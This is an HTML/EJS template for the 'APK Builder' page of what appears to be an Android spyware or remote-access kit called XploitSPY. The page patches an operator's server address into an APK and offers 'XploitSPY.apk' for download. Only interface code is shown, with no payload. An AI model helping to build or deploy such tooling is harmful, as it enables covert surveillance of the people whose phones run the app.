<!DOCTYPE html>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<html>
	<% include partials/head.ejs %>

	<body>
		<div class="ui container">
			<% include partials/header.ejs %> <% include partials/disclaimer.ejs %>
			<div class="ui segment">
				<div id="dimmer" class="ui dimmer">
					<div class="ui indeterminate text loader" id="loadingText">Submitting</div>
				</div>

				<h1 class="ui" style="text-align: center;">APK Builder</h1>
				<div class="ui form" id="form">
					<div class="inline fields">
						<div class="six wide field">
							<div class="ui labeled input">
								<div class="ui label">
									http://
								</div>
								<input
									type="text"
									id="uriInput"
									placeholder="IP / Public URL"
									title="This is the public url of your server (domain.com)"
								/>
							</div>
						</div>
						<!-- <div class="two wide field">
                                <label>:</label>
                                <input type="number" id="portInput" placeholder="PORT" min="2048" max="25565" title="This is the `control_port` set in the consts" value="<%= myPort %>">
                            </div> -->
					</div>
					<div class="inline fields">
						<div class="eight wide field">
							<button id="gobuild" class="positive ui fluid button"><i class="wrench icon"></i>Build</button>
						</div>
					</div>
				</div>

				<div class="ui form" id="download" style="display: none;">
					<div class="inline fields">
						<div class="eight wide field">
							<a class="blue ui fluid button" download="XploitSPY.apk" href="/build-aligned-signed.apk"
								><i class="download icon"></i>Download</a
							>
						</div>
					</div>
				</div>
			</div>
		</div>
		<style>
			.inline.fields {
				justify-content: center;
			}
		</style>

		<script>
			var loadingTexts = [
				'Decompiling APK',
				'Patching Server Information',
				'Compiling APK',
				'Signing APK',
				'Verifying Build',
				'Finalizing',
			];

			document.getElementById('uriInput').value = window.location.hostname;

			var loadingIndex = 0;
			var isDone = false;
			$('#gobuild').click((e) => {
				$('#dimmer').addClass('active');
				build($('#uriInput').val(), '80');
				setTimeout(loaderText, 500);
			});
			function loaderText() {
				var nextTimeout = Math.floor(Math.random() * 1500) + 700;
				if (loadingIndex < loadingTexts.length) $('#loadingText').text(loadingTexts[loadingIndex++]);
				if (loadingIndex !== loadingTexts.length) setTimeout(loaderText, nextTimeout);
				else if (loadingIndex === loadingTexts.length && !isDone) setTimeout(loaderText, 300);
				else
					while (isDone) {
						isDone = false;
						$('#dimmer').fadeOut(500, () => {
							$('#download').removeClass('active');
						});
						$('#form').fadeOut(500, () => {
							$('#download').fadeIn(200);
						});
					}
			}

			const build = async (URI, PORT) => {
				let data = await $.post('/builder?uri=' + URI + '&port=' + PORT);
				if (!data.error) isDone = true;
				else showNotification('#f03434', data.error);
			};
		</script>
		<% include partials/footer.ejs %>
	</body>
</html>
